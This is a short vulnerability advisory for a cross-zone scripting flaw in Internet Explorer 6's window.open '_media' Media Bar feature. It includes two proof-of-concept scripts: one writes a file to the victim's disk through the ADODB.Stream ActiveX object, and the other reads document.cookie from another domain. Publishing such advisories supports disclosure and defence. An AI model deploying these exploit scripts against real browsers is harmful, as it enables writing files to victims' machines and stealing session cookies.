Microsoft Internet Explorer 6.0 window.open Media Bar Cross-Zone Scripting Vulnerability

                                                source: http://www.securityfocus.com/bid/9769/info

It has been reported that Microsoft Internet Explorer may be prone to a cross-zone scripting vulnerability that could ultimately lead to execution of malicious script code and Active Content in the context of the My Computer Zone or a foreign domain. Reportedly, hostile code can be executed in the context of the Media Bar via the '_media' property of the 'window.open' method. Cross-Site scripting attacks are possible as well. This functionality is only available in Internet Explorer 6 and above.

This issue was originally described in BID 8577 "Multiple Microsoft Internet Explorer Script Execution Vulnerabilities". 

<script>

// '\\42' -> '\42' -> ' " '
img_src='javascript:file = \\42Exploit.txt\\42; o = new ActiveXObject(\\42ADODB.Stream\\42);'
+ ' o.Open(); o.Type=2; o.Charset=\\42ascii\\42; o.WriteText(\\42My name is Cheng Peng Su.\\42);'
+ ' o.SaveToFile(file, 2); o.Close(); alert(\\42I wanna create \\42+file+\\42 on your desktop!\\42);';

inject_html="<img src='" + img_src + "'>";

window.open('file:javascript:document.write("' + inject_html + '")','_media');

</script>

Additional proof of concept for cross site scripting has been supplied as well:

<script>

window.open("http://www.google.com/","_media")
setTimeout(function(){
window.open("file:javascript:alert(document.cookie);","_media")
},5000);

</script>